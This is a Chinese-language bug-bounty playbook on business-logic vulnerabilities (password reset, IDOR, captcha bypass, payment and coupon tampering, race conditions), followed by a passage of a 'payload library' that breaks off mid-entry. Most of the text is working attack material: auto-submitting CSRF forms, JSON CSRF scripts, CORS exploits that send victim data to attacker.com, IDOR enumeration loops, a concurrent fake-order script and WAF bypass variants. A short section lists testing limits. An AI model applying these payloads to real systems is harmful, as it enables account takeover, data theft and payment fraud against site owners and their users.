# 业务逻辑 / 越权 / 验证码 / 支付篡改

> 视角：黑盒，关注流程、状态机、不变量

## 1. 一句话说清

逻辑漏洞 = 程序按预期工作，但**预期不对**。
不是注入、不是 RCE，没有"特定 payload"，靠的是**流程理解 + 篡改 + 重放**。
SRC 价值：**很难被 WAF 检测**，公司大厂常因业务复杂而暴露。

---

## 2. 高频入口点（按 WooYun 8,292 案例归类）

| 类型 | 入口特征 | 关键参数 |
|------|---------|---------|
| 密码重置 | `/reset`、`/forgot`、`/findpwd`、`/sms` | `phone`、`username`、`code`、`token`、`step` |
| 越权 | `/user/{id}`、`/order/{id}` | `id`、`uid`、`oid`、`addrid`、`hotelid` |
| 角色 / 提权 | `/role`、`/permission`、`/profile` | `role`、`aid`、`isAdmin`、`level` |
| 支付 / 订单 | `/order/create`、`/pay`、`/checkout` | `price`、`amount`、`total`、`count`、`couponCode` |
| 验证码 | `/sendSms`、`/captcha`、`/verify` | `code`、`captcha`、`smsCode` |
| 优惠券 / 积分 | `/coupon`、`/exchange`、`/redeem` | `code`、`couponId`、`points` |

---

## 3. 探测手法（按子类分）

### 3.1 密码重置 4 模式（来自 wooyun 22 案例）

#### 模式 A：验证码回显在响应

```http
POST /api/sendSmsCode HTTP/1.1
phone=13888888888

→ 响应：
{"code":0,"data":{"verifyCode":"123456"}}
```

**探针**：抓发送验证码的响应包，搜 `verifyCode`、`smsCode`、`code`、`captcha`。
案例：某停车 APP、某社区平台、某邮箱（wooyun-2015-0134914）。

#### 模式 B：验证码与用户解绑

```
1. 用攻击者自己手机 138xxxx0001 注册，收到 code=123456
2. 对受害者发起重置 phone=victim
3. 提交重置表单 phone=victim, code=123456 → 通过
```

**探针**：让平台给 A 手机发码，然后用 A 收到的码去验证 B 手机。
案例：某记账 APP（影响 8000W 用户）。

#### 模式 C：流程跳跃

正常 4 步：输入账号 → 验证身份 → 重置密码 → 完成。

**探针**：直接 GET / POST 第 3 步页面 URL；或用 Burp 改前端流程状态。

```
1. 走完正常流程一次，记录每一步 URL
2. 直接发起第 3 步请求 / 看到达第 3 步是否需要前置 token
3. 修改前端 DOM：用 F12 把"重置密码"DOM 替换"身份验证"
```

案例：某户外用品商城（wooyun-2014-054890）。

#### 模式 D：凭证参数可控

```http
POST /resetPassword HTTP/1.1
username=victim&newPassword=hacked123
```

**探针**：提交时改请求体里的用户名 / token / userId 字段。
看是否真的把 `victim` 的密码改了（用受害者账号尝试登录新密码）。

### 3.2 越权（IDOR）

#### 水平越权（同级用户）

```http
# A 自己的资源
GET /api/address/edit/?addid=100001

# 改成 B 的
GET /api/address/edit/?addid=100002
```

**探针**：
1. 用账号 A 操作，记下 ID
2. 用账号 B 重发同一请求，把 ID 换成 A 的
3. 200 + 返回 A 的数据 = IDOR

工具：Burp `Autorize` 插件，自动比较两个 session 的响应。

参考案例：wooyun-2015-0119942（某商城 20W+ 用户）、wooyun-2014（一嗨租车 19W 发票）。

#### 垂直越权（普通 → 管理员）

```http
# 普通用户改自己资料
POST /updateUser HTTP/1.1
user.aid=3&user.name=test

# 改成管理员 ID
POST /updateUser HTTP/1.1
user.aid=1&user.name=test
```

**探针**：
1. 注册两个账号：普通 + 管理员（用平台 demo / 自己测）
2. 抓管理员页面的接口
3. 用普通用户 token 直接调
4. 200 + 操作成功 = 提权

枚举角色 ID：通常 `1=超管, 2=管理员, 3=普通用户`。

#### Header / Cookie 注入越权

```
X-User-Role: admin
X-User-Id: 1
X-Original-User: admin
X-Forwarded-User: admin
Cookie: role=admin; isAdmin=1; userId=1
```

某些系统把 Header / Cookie 直接当身份信息——**逐个加上面 header 重发**。

#### IDOR 测试矩阵

| 操作 | 探针 | 风险 |
|------|------|------|
| 读 | 改 ID 查他人资源 | 中 / 高 |
| 改 | 改 ID 改他人资源 | 高 |
| 删 | 改 ID 删他人资源 | 严重（不可逆，禁实测删除！） |
| 创建 | 改 owner 字段 | 高 |

### 3.3 验证码绕过（20 案例）

#### 不刷新 / 可重用

```python
# 同一验证码用多次
captcha = "ABCD"
for password in wordlist:
    r = login(username, password, captcha)
    if "success" in r.text: break
```

**探针**：连续登录失败 5 次，验证码图片不变 → 可固定值爆破密码。

#### 4–6 位纯数字 + 无频率限制

```
sms code = 4-6 digit numeric
no throttle
→ Burp Intruder 100 线程爆破
```

参考：某品牌商城 APP 5 位数字验证码 30 秒爆完。

#### 客户端验证 / 响应篡改

```
# 服务端返回
{"status":"0","msg":"验证码错误"}

# 改成
{"status":"1","msg":"成功"}
→ 客户端进入下一步
```

**探针**：在 Burp 拦响应包，把 `0/false/error` 改成 `1/true/success`。
适用：`status` 控制下一步流程的 SPA。

参考案例：健一网 APP（wooyun-2015-0139590）、你我金融。

### 3.4 支付 / 订单（9 案例）

#### 价格篡改

```http
POST /order/create HTTP/1.1
{"productId":"12345","quantity":1,"price":0.01}

# 原价 299，提交 0.01 → 服务端不重算 → 0.01 元购入
```

**探针清单**（每个值都试）：
```
price = 0
price = 0.01
price = -100
price = 1e-10
price = "0.01"      # 字符串
price = null
price = {"$gt":0}   # MongoDB 注入
price = [299,0.01]  # 数组
```

#### 数量篡改

```
count = -1            # 负数 → 退款逻辑被反向触发
count = 0             # 免费下单
count = 9999999999    # 整数溢出
```

#### 优惠券滥用 / 撤销

```
1. 下满减组合订单（A 商品 59 元 + 换购 B 商品 5.9 元）
2. 支付后取消 A 商品
3. 实际以 5.9 元购得原价 21 元的 B
```

#### 重放支付回调

```http
# 三方支付回调
POST /pay/notify
sign=xxx&order_id=123&status=success&amount=100

# 重放同一回调（同 sign）
→ 如果服务端不查询 order 状态，可能多次发货
```

#### 并发竞争

```python
# 同时创建 50 个 0.01 元订单
import threading
def create():
    requests.post("/order/create", json={"price":0.01,"productId":"premium"})
threads = [threading.Thread(target=create) for _ in range(50)]
[t.start() for t in threads]
```

#### 参数污染

```
POST /order/create?price=299.00&price=0.01
POST /order/create  body: price[]=299.00&price[]=0.01
```

参考案例：wooyun-2015-0108817（某电商价格篡改）、中国才储、春趣商城。

### 3.5 竞态条件（race）

| 场景 | 探针 |
|------|------|
| 优惠券双花 | 并发 50 次同一 coupon code |
| 余额超扣 | 并发提现 / 转账，初始余额 100，每次提 100 |
| 邀请奖励刷量 | 并发注册新用户 + 邀请码 |
| 验证码爆破 | 并发提交不同 code |
| 限购抢购 | 并发下单 |
| 唯一性破坏 | 并发注册同一用户名（`existsByUsername` 之后再 insert，竞态可双注册） |

工具：
- Burp Suite Intruder（"Send N requests in parallel"）
- Turbo Intruder（精确并发）
- 自写 Python `threading` / Go goroutine

参考：详见 `playbooks/race-conditions.md`。

---

## 4. Bypass 矩阵

| 拦截 | 绕过 |
|------|------|
| 单 IP 频率限制 | 多 IP / 代理池 / X-Forwarded-For 注入 |
| 同一手机号频率 | 在号码后加点（`13888888888.`、`+8613888888888`、`013888888888`） |
| 验证码图形 | 调验证码识别 API（仅自测合规情况下） |
| 同一账号操作 | 注册多账号轮询 |
| 时间限制 | 改 `Date` Header（少数系统采信） / 调时区参数 |
| Token 一次性 | 抓发包前后 token，看是否真的失效 |

---

## 5. 利用提权 / 横向

| 起点 | 终点 |
|------|------|
| 密码重置漏洞 | 接管所有用户（H1 中位 $2k–$10k） |
| 水平 IDOR 大数据 | PII 泄露（每条 PII = $1–$5 黑市价） |
| 垂直 IDOR | 提权到管理员 → 后台所有功能 → P0 |
| 支付 0.01 元 | 实物商品 / 会员服务 / 虚拟币 |
| 验证码爆破 | 任意账号接管 |
| 重放回调 | 多次发货 / 多次充值 |
| 竞态优惠券 | 反复使用同一优惠 |

---

## 6. 真实案例指纹

| 漏洞类型 | wooyun ID / 案例 | 指纹 / 一句话 |
|---------|----------------|------------|
| 验证码回显 | 某停车 APP wooyun-2015-0134914 | 响应包含 `verifyCode` / `smsCode` |
| 重置流程跳过 | 某户外用品商城 wooyun-2014-054890 | 直接访问第 3 步 URL 不验证前置 |
| 水平越权 | 某成人用品商城 wooyun-2015-0119942 | `?id=` 改成他人 ID 200 |
| 垂直越权 | 浙江在线 wooyun-2015-099378 | `user.aid=1` 提权超管 |
| 金额篡改 | 中国才储 wooyun-2012-07745 | `price=0.01` 通过支付 |
| 价格参数 | 某电商 wooyun-2015-0108817 | 客户端提交 price，服务端不重算 |
| 撞库 | 某手机厂商论坛 wooyun-2014-061871 | 8W 弱口令，无频率限制 |
| Cookie 伪造 | 福建网龙 wooyun-2015-0157092 | `?userAccount=admin` 直接写 Cookie |
| 响应篡改 | 健一网 wooyun-2015-0139590 | 改返回 `status=1` 进入下一步 |

---

## 7. 复现 / 证据要点

### 7.1 IDOR 报告必备

1. 两个账号：A（攻击者）+ B（受害者，**实际为研究员的另一个测试账号**）
2. A 的合法请求包 + 200
3. A 改成 B 的 ID 的请求包 + 200 + 含 B 的数据
4. 如果用真实第三方账号测试到了，**立即停止 + 不在报告中放任何真实数据 + 主动声明**

### 7.2 越权 PoC 模板

```markdown
# 复现步骤

## 账号准备
- 账号 A：用户名 hunter_a，user_id=10001（攻击者控制）
- 账号 B：用户名 hunter_b，user_id=10002（攻击者控制，仅用于证明 IDOR）

## Step 1：A 查询自己订单（基线）
GET /api/orders/100  Authorization: A_token  → 200，返回 A 的订单
（请求/响应见附件 1）

## Step 2：A 查询 B 的订单（漏洞证明）
GET /api/orders/200  Authorization: A_token  → 200，返回 B 的订单内容
（请求/响应见附件 2）

## Step 3：用 C（陌生 user_id=99999）证明非测试账号也可遍历
GET /api/orders/99999  Authorization: A_token  → 200，含订单号、收货人、电话（已脱敏）
仅取 1 条样本，未尝试遍历更多。
```

### 7.3 价格篡改 PoC 模板

```
1. 商品页：299 元
2. 提交订单时改 price=0.01：
   POST /order/create
   {"productId":"X","quantity":1,"price":0.01}
3. 服务端响应订单总额 = 0.01 元
4. 实际支付页面也是 0.01 元（截图 + 支付平台订单截图）
5. 收到商品 / 服务（如果是数字商品则看激活页面）
```

### 7.4 CVSS 参考

```
垂直越权 → 提权 admin     CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
水平越权 → 读他人 PII     CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
密码重置接管             CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
价格篡改 0.01            CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5（按业务影响升降）
验证码爆破登录           CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
```

### 7.5 影响段（强调业务影响）

```
本漏洞允许任意普通用户通过修改 user_id 参数读取/修改他人订单数据。
对平台业务的实际影响：
1. 用户 PII 泄露：订单含姓名、收货地址、电话、邮箱（GDPR/CCPA 风险）；
2. 商业秘密：订单金额、商品偏好等用户画像数据；
3. 信任损害：被恶意修改地址可导致物流诈骗。

测试时使用了攻击者控制的两个账号 A、B，未访问任何真实用户订单。
仅在最后一步用 1 个随机 ID 证明可遍历性，立即停止并已脱敏。
```

---

## 8. 不要做的事

- **禁**：用支付篡改实际下单实物商品（即使 0.01 元也不行）。改用：
  - 测试环境（如有）
  - 数字商品（电子卡券，支付后立即截图，**不激活**）
  - 演示到"订单生成 + 金额异常"即停，不进入支付链路
- **禁**：批量 IDOR 拖库。最多 1–3 条样本，且全部脱敏。
- **禁**：用密码重置漏洞重置真实用户密码。重置自己的两个测试账号即可。
- **禁**：用越权账号执行写 / 删 / 改操作。只读证明。
- **禁**：撞库使用 SRC 平台之外的真实数据库（违反法律）。
- **禁**：竞态测试发起 1000+ rps（视为 DoS）。控制 50–100 并发即可证明。
- **报告中不要包含**：他人 PII 原文、订单号、手机号、地址（一律脱敏到只剩前 2 + 后 2 字符）。

## H1 真实案例

_共 234 份 HackerOne 已披露 High/Critical 报告命中本类，按 (赏金 + 投票×100) 排序取 Top 12_

| Severity | $ | 程序 | 标题（点击看原报告） | 摘要 |
|---|--:|---|---|---|
| Critical | 7500 usd | Valve | [Modify in-flight data to payment provider Smart2Pay](https://hackerone.com/reports/1295844) | I have found vulnerability which allows attacker to generate steam wallet balance |
| Critical | — | BlockDev Sp. Z o.o | [Steal ALL collateral during liquidation by exploiting lack of validation in `flip.kick`](https://hackerone.com/reports/684092) | Summary: The `flip` contract allows for the MCD system to auction collateral in exchange for DAI |
| Critical | 12000 usd | GitLab | [An attacker can run pipeline jobs as arbitrary user](https://hackerone.com/reports/894569) | Summary An attacker can run arbitrary pipeline jobs as a `victim` user |
| Critical | 10000 usd | Coinbase | [Double Payout via PayPal](https://hackerone.com/reports/307239) | Double Payout via PayPal |
| High | — | TikTok | [[CSRF] TikTok Careers Portal Account Takeover](https://hackerone.com/reports/1010522) | [CSRF] TikTok Careers Portal Account Takeover |
| Critical | — | GitLab | [Bypass of GitLab CI runner slash fix in YAML validation](https://hackerone.com/reports/409395) | Hi Gitlab Security, I notice the bug #301432 that Jobert reported earlier is could be bypassed by setting variable in environment |
| High | 3500 usd | GitLab | [Cross-site Scripting (XSS) - Stored in RDoc wiki pages](https://hackerone.com/reports/662287) | Summary When creating an RDoc wiki page it's possible to use a large number of html tags and attributes that are normally sanit… |
| High | — | pixiv | [Reset any password](https://hackerone.com/reports/703972) | Summary: When I try to reset the password, the verification code of the mailbox is 6 digits, and there is no limit on the numbe… |
| High | — | Reverb.com | [Race Condition allows to redeem multiple times gift cards which leads to free "money"](https://hackerone.com/reports/759247) | Hello team! I've found a Race Condition vulnerability which allows to redeem gift cards multiple times. This how a s/he can eas… |
| Critical | — | Coinbase | [Ethereum account balance manipulation](https://hackerone.com/reports/300748) | Ethereum account balance manipulation |
| High | — | Semrush | [An attacker can buy marketplace articles for lower prices as it allows for negative quantity valu…](https://hackerone.com/reports/771694) | Hi there, When we Summary:** When someone goes to https://www.semrush.com/marketplace/offers/ and orders for articles, an attac… |
| Critical | 2000 usd | inDrive | [Change phone number OTP flaw leads to any phone number takeover](https://hackerone.com/reports/2588329) | Summary: Dear Indrive, Ive found another valid report, the app allows any user to change the app phone number, but a flaw withi… |

**命中本类的 weakness 分布：**

- Business Logic Errors：64 条
- Cross-Site Request Forgery (CSRF)：59 条
- Violation of Secure Design Principles：32 条
- Improper Input Validation：21 条
- Improper Restriction of Authentication Attempts：17 条
- Modification of Assumed-Immutable Data (MAID)：9 条
- UI Redressing (Clickjacking)：8 条
- Uncategorized → 手工归类：7 条
- Client-Side Enforcement of Server-Side Security：4 条
- Weak Password Recovery Mechanism for Forgotten Password：4 条
- User Interface (UI) Misrepresentation of Critical Information：2 条
- External Control of Critical State Data：2 条
- Improper Initialization：1 条
- Exposure of Data Element to Wrong Session：1 条
- Encoding Error：1 条
- Improper Check or Handling of Exceptional Conditions：1 条
- Improper Handling of URL Encoding (Hex Encoding)：1 条


## Payload 库

_15 个结构化 web payload，含完整攻击链 + WAF/EDR 绕过变体_

**类别分布：** CSRF跨站请求伪造 (8) · 业务逻辑漏洞 (5) · 点击劫持 (2)

### · CSRF跨站请求伪造

### CSRF基础攻击  `csrf-basic`
跨站请求伪造基础攻击技术
子类：**基础攻击** · tags: `csrf` `cross-site` `request` `forgery`

**前置条件：** 目标存在敏感操作；缺少CSRF保护

**攻击链：**

**1. 1. 构造CSRF表单**
_构造自动提交的CSRF表单_
```
<form action="http://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="hidden" name="confirm_password" value="hacked123">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
```

**2. 2. GET请求CSRF**
_GET请求的CSRF攻击_
```
<img src="http://target.com/delete?id=123" style="display:none">
或直接诱导用户点击:
http://target.com/delete?id=123
```

**3. 3. JSON CSRF**
_JSON格式的CSRF攻击_
```
<script>
fetch("http://target.com/api/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: JSON.stringify({email: "attacker@evil.com"})
});
</script>
```

**4. 4. 链接诱导**
_诱导用户点击_
```
<a href="http://target.com/action?param=value">点击领取红包</a>
或短链接隐藏真实URL
```

**WAF/EDR 绕过变体：**

**1. Referer绕过**
_绕过Referer检查_
```
使用Referrer Policy:
<meta name="referrer" content="no-referrer">
或使用data URL:
<data:text/html;base64,CSRF_PAYLOAD>
或使用HTTPS->HTTP降级
```

**2. Token绕过**
_绕过Token验证_
```
1. 检查Token是否可预测
2. 检查Token是否绑定会话
3. 检查Token是否在GET参数中泄露
4. 检查是否有Token重放漏洞
```

---

### JSON CSRF攻击  `csrf-json`
针对JSON请求的CSRF攻击技术
子类：**JSON CSRF** · tags: `csrf` `json` `api` `post`

**前置条件：** 目标使用JSON格式请求；缺少CSRF保护；CORS配置不当

**攻击链：**

**1. 1. 简单JSON CSRF**
_使用text/plain绕过预检_
```
<script>
fetch("http://target.com/api/update", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: JSON.stringify({email: "attacker@evil.com"})
});
</script>
```

**2. 2. Flash JSON CSRF**
_使用Flash发送JSON_
```
# 使用Flash发送JSON请求
# 需要目标允许Content-Type: application/json
# 配合Flash的跨域能力
```

**3. 3. XSSI攻击**
_跨站脚本包含攻击_
```
# 利用JSONP回调
<script src="http://target.com/api/data?callback=attacker"></script>
function attacker(data) { console.log(data); }

# 利用数组返回
[{"secret": "data"}]
<script>var data = [{"secret": "data"}];</script>
```

**4. 4. SWF文件攻击**
_使用SWF文件_
```
# 创建恶意SWF文件发送JSON请求
# 编译ActionScript代码
# 嵌入HTML页面
```

**WAF/EDR 绕过变体：**

**1. 修改Content-Type**
_修改Content-Type绕过_
```
# 尝试不同的Content-Type
text/plain
application/x-www-form-urlencoded
application/x-www-form-urlencoded; charset=UTF-8
```

**2. 使用FormData**
_使用FormData发送_
```
let formData = new FormData();
formData.append("data", JSON.stringify({email: "attacker@evil.com"}));
fetch(url, {method: "POST", body: formData, credentials: "include"});
```

---

### CSRF绕过技术  `csrf-bypass`
绕过CSRF防护的各种技术
子类：**绕过技术** · tags: `csrf` `bypass` `token` `referer`

**前置条件：** 目标存在CSRF防护；防护机制存在缺陷

**攻击链：**

**1. 1. Token验证绕过**
_绕过Token验证_
```
# Token可预测
分析Token生成规律，预测有效Token

# Token未绑定会话
使用其他用户的Token

# Token重用
同一个Token可多次使用

# Token在GET参数中泄露
从页面源码获取Token
```

**2. 2. Referer验证绕过**
_绕过Referer验证_
```
# 正则匹配不严谨
Referer: http://attacker.com/target.com/
Referer: http://target.com.attacker.com/

# 空Referer
<meta name="referrer" content="no-referrer">

# HTTPS->HTTP降级
从HTTPS站点跳转到HTTP不发送Referer
```

**3. 3. Origin验证绕过**
_绕过Origin验证_
```
# Origin为null
使用data URL或about:blank

# 正则绕过
Origin: http://target.com.attacker.com
Origin: http://attacktarget.com

# IE11不发送Origin
IE11在某些情况下不发送Origin头
```

**4. 4. SameSite绕过**
_绕过SameSite限制_
```
# SameSite=Lax
GET请求会发送Cookie
构造GET形式的敏感操作

# SameSite未设置
默认行为可能允许跨站发送

# 两分钟窗口
SameSite=Lax有2分钟窗口期
```

**WAF/EDR 绕过变体：**

**1. CORS配置错误**
_利用CORS配置错误_
```
# Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# Access-Control-Allow-Origin: *
允许任意源

# 反射Origin
Access-Control-Allow-Origin: [任意Origin]
```

---

### SameSite绕过技术  `csrf-samesite`
绕过SameSite Cookie属性的CSRF攻击
子类：**SameSite绕过** · tags: `csrf` `samesite` `cookie` `bypass`

**前置条件：** Cookie设置了SameSite属性；SameSite配置存在缺陷

**攻击链：**

**1. 1. SameSite=Lax绕过**
_绕过SameSite=Lax_
```
# GET请求绕过
构造GET形式的敏感操作
<img src="http://target.com/delete?id=123">

# 顶级导航
<a href="http://target.com/action">点击</a>
window.location = "http://target.com/action"

# 两分钟窗口
在用户交互后2分钟内发起请求
```

**2. 2. SameSite=Strict绕过**
_绕过SameSite=Strict_
```
# 子域名攻击
从子域名发起请求
http://sub.target.com/attack

# Cookie覆盖
设置同名Cookie覆盖
Set-Cookie: session=attacker; Domain=.target.com

# 利用重定向
从目标站点重定向到攻击页面
```

**3. 3. 未设置SameSite**
_利用未设置SameSite_
```
# 旧浏览器默认行为
Chrome < 80 默认None
Safari 默认None

# 可直接发起CSRF攻击
无需特殊绕过
```

**4. 4. 利用OAuth流程**
_利用OAuth流程_
```
# OAuth回调绕过SameSite
1. 发起OAuth登录
2. 在回调中注入恶意请求
3. Cookie在OAuth流程中发送
```

**WAF/EDR 绕过变体：**

**1. 混合内容**
_利用混合内容_
```
# HTTPS->HTTP降级
从HTTPS站点发起HTTP请求
某些情况下不发送SameSite
```

**2. 客户端重定向**
_客户端重定向_
```
# JavaScript重定向
location.href = "http://target.com/action"
可能绕过某些SameSite检查
```

---

### Token绕过技术  `csrf-token-bypass`
绕过CSRF Token验证的技术
子类：**Token绕过** · tags: `csrf` `token` `bypass` `predictable`

**前置条件：** 目标使用CSRF Token；Token机制存在缺陷

**攻击链：**

**1. 1. Token可预测**
_预测Token值_
```
# 分析Token生成规律
# 常见弱Token模式:
- 时间戳
- 递增数字
- 用户ID哈希
- 弱随机数

# 预测并构造有效Token
```

**2. 2. Token未绑定会话**
_利用未绑定Token_
```
# Token不验证会话
# 攻击步骤:
1. 攻击者获取自己的Token
2. 使用该Token构造CSRF
3. 诱使受害者提交

# Token可跨用户使用
```

**3. 3. Token泄露**
_利用Token泄露_
```
# Token在URL中泄露
http://target.com/page?token=xxx

# Token在Referer中泄露
从包含Token的页面跳转

# Token在日志中泄露
服务器日志记录Token
```

**4. 4. Token重放**
_Token重放攻击_
```
# Token可重复使用
# 攻击步骤:
1. 获取有效Token
2. 多次使用同一Token
3. Token不过期或不失效
```

**5. 5. Token删除绕过**
_删除Token绕过_
```
# 尝试删除Token参数
POST /action HTTP/1.1
# 不发送Token参数

# 尝试空Token
POST /action?token=

# 尝试删除Token头
```

**WAF/EDR 绕过变体：**

**1. 方法覆盖**
_方法覆盖绕过_
```
# 使用_method参数
POST /action?_method=PUT&token=xxx

# 使用X-HTTP-Method-Override
X-HTTP-Method-Override: PUT
```

**2. JSON格式**
_JSON格式绕过_
```
# 使用JSON格式提交
Content-Type: application/json
{"token": "xxx", "action": "delete"}

# 可能绕过Token验证
```

---

### Referer绕过技术  `csrf-referer-bypass`
绕过Referer验证的CSRF攻击
子类：**Referer绕过** · tags: `csrf` `referer` `bypass` `header`

**前置条件：** 目标验证Referer头；验证逻辑存在缺陷

**攻击链：**

**1. 1. 正则匹配绕过**
_利用正则匹配缺陷_
```
# 正则只检查包含
Referer: http://attacker.com/target.com/
Referer: http://target.com.attacker.com/
Referer: http://attacktarget.com/

# 正则只检查开头
Referer: http://target.com.attacker.com/

# 正则只检查结尾
Referer: http://attacker.com/target.com
```

**2. 2. 空Referer绕过**
_发送空Referer_
```
# 不发送Referer
<meta name="referrer" content="no-referrer">

# data URL
data:text/html,<script>CSRF</script>

# about:blank
about:blank

# HTTPS->HTTP降级
从HTTPS站点跳转到HTTP
```

**3. 3. 子域名绕过**
_利用子域名_
```
# 从子域名发起
Referer: http://sub.target.com/attack

# 从兄弟域名发起
Referer: http://sibling.target.com/

# 利用子域名XSS
在子域名注入XSS发起CSRF
```

**4. 4. Referrer-Policy利用**
_利用Referrer-Policy_
```
# origin-only
<meta name="referrer" content="origin">
Referer: http://target.com

# origin-when-cross-origin
<meta name="referrer" content="origin-when-cross-origin">
```

**WAF/EDR 绕过变体：**

**1. iframe嵌入**
_iframe绕过_
```
# 使用iframe嵌入目标
<iframe src="http://target.com" referrerpolicy="no-referrer">

# sandbox属性
<iframe sandbox="allow-scripts" src="...">
```

**2. Flash/SWF**
_Flash控制Referer_
```
# Flash可以控制Referer
# 编译SWF发送自定义Referer
```

---

### Flash CSRF攻击  `csrf-flash`
利用Flash进行CSRF攻击
子类：**Flash CSRF** · tags: `csrf` `flash` `swf` `crossdomain`

**前置条件：** 目标允许Flash请求；crossdomain.xml配置不当

**攻击链：**

**1. 1. crossdomain.xml利用**
_检查跨域策略文件_
```
# 检查crossdomain.xml
http://target.com/crossdomain.xml

# 允许所有域
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

# 允许特定域
<allow-access-from domain="*.target.com"/>
```

**2. 2. 创建恶意SWF**
_创建恶意Flash文件_
```
// ActionScript代码
package {
  import flash.net.*;
  public class CSRF {
    public function CSRF() {
      var req:URLRequest = new URLRequest("http://target.com/api/action");
      req.method = URLRequestMethod.POST;
      req.data = "param=value";
      req.requestHeaders.push(new URLRequestHeader("Content-Type", "application/json"));
      sendToURL(req);
    }
  }
}
```

**3. 3. 发送JSON请求**
_发送JSON格式请求_
```
// Flash可以发送任意Content-Type
req.requestHeaders.push(
  new URLRequestHeader("Content-Type", "application/json")
);
req.data = JSON.stringify({email: "attacker@evil.com"});
```

**4. 4. 自定义Header**
_添加自定义Header_
```
// Flash可以添加自定义Header
req.requestHeaders.push(
  new URLRequestHeader("X-Custom-Header", "value")
);

// 绕过某些Header验证
```

**WAF/EDR 绕过变体：**

**1. 绕过预检请求**
_绕过CORS预检_
```
# Flash可以绕过CORS预检
# 直接发送POST请求
# 携带Cookie
```

---

### CORS配置错误利用  `csrf-cors`
利用CORS配置错误进行CSRF攻击
子类：**CORS配置错误** · tags: `csrf` `cors` `misconfiguration` `api`

**前置条件：** CORS配置错误；允许跨域携带凭证

**攻击链：**

**1. 1. 检测CORS配置**
_检测CORS配置_
```
# 发送测试请求
curl -H "Origin: http://attacker.com" http://target.com/api

# 检查响应头
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true

# 危险配置
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

**2. 2. 反射Origin攻击**
_利用反射Origin_
```
# 服务器反射任意Origin
Access-Control-Allow-Origin: [请求的Origin]
Access-Control-Allow-Credentials: true

# 攻击代码
fetch("http://target.com/api/sensitive", {
  credentials: "include"
})
.then(r => r.json())
.then(data => sendToAttacker(data));
```

**3. 3. null源攻击**
_利用null源_
```
# 允许null源
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

# 使用data URL
<iframe src="data:text/html,<script>
fetch('http://target.com/api', {credentials: 'include'})
.then(r => r.json()).then(sendToAttacker);
</script>"></iframe>
```

**4. 4. 正则绕过**
_正则匹配绕过_
```
# 正则匹配不严谨
允许: target.com
绕过: attacktarget.com
target.com.attacker.com

# 攻击代码
fetch("http://target.com.api.attacker.com/api", {
  credentials: "include"
});
```

**WAF/EDR 绕过变体：**

**1. 窃取敏感数据**
_窃取用户数据_
```
# 利用CORS窃取数据
fetch("http://target.com/api/user", {
  credentials: "include"
})
.then(r => r.json())
.then(data => {
  new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data));
});
```

**2. 执行敏感操作**
_执行敏感操作_
```
# 利用CORS执行操作
fetch("http://target.com/api/delete", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({id: 123})
});
```

---

### · 业务逻辑漏洞

### IDOR越权访问  `biz-idor`
不安全的直接对象引用(IDOR)，通过篡改请求参数中的对象ID越权访问他人数据。攻击者可遍历用户ID、订单号等参数获取未授权资源。
子类：**越权漏洞** · tags: `IDOR` `越权` `业务逻辑` `OWASP` `A01`

**前置条件：** 目标存在基于ID的资源访问接口；已登录普通用户账号

**攻击链：**

**1. 1. 识别可遍历参数**
_识别API中使用数字/UUID作为资源标识符的端点_
```
# 抓取请求中的ID参数
GET /api/users/1001/profile HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}

# 常见IDOR参数：user_id, order_id, file_id, invoice_id, account_id
```

**2. 2. 水平越权测试**
_遍历用户ID参数，观察响应码和大小差异以确认越权_
```
# 用A用户的Token访问B用户的数据
for id in $(seq 1000 1010); do
  curl -s -o /dev/null -w "%{http_code} %{size_download}" \
    -H "Authorization: Bearer {TOKEN}" \
    "https://{TARGET}/api/users/$id/profile"
  echo " -> user_id=$id"
done
```

**3. 3. 垂直越权测试**
_尝试以低权限用户调用管理员API或修改自身角色_
```
# 用普通用户Token访问管理员接口
GET /api/admin/users HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}

# 尝试修改角色
PUT /api/users/1001 HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}
Content-Type: application/json

{"role": "admin", "is_admin": true}
```

**4. 4. 参数污染越权**
_利用参数重复、JSON键覆盖和数组注入绕过IDOR防御_
```
# 双参数污染
GET /api/orders?user_id=1001&user_id=1002 HTTP/1.1

# JSON参数覆盖
POST /api/profile/update HTTP/1.1
Content-Type: application/json

{"user_id": 1001, "name": "test", "user_id": 1002}

# 数组注入
GET /api/orders?user_id[]=1001&user_id[]=1002 HTTP/1.1
```

**WAF/EDR 绕过变体：**

**1. 编码ID绕过**
_通过编码、负数、溢出等方式绕过ID校验_
```
# Base64编码ID
/api/users/MTAwMQ== (base64 of 1001)
# Hex编码
/api/users/0x3E9
# 负数/溢出
/api/users/-1
/api/users/2147483647
```

---

### 竞态条件攻击  `biz-race-condition`
利用服务端TOCTOU(Time-of-Check to Time-of-Use)漏洞，通过并发请求在检查与执行之间的时间窗口内多次触发同一操作，实现重复领券、重复提现、超额购买等业务逻辑突破。
子类：**竞态条件** · tags: `竞态条件` `Race Condition` `TOCTOU` `并发` `业务逻辑`

**前置条件：** 目标存在余额/积分/优惠券等可量化资源操作；Python/Turbo Intruder环境

**攻击链：**

**1. 1. 识别竞态目标**
_识别涉及资源扣减、限量操作的API端点_
```
# 典型竞态场景：
# 1. 优惠券领取 POST /api/coupon/claim
# 2. 余额提现 POST /api/withdraw
# 3. 积分兑换 POST /api/points/exchange
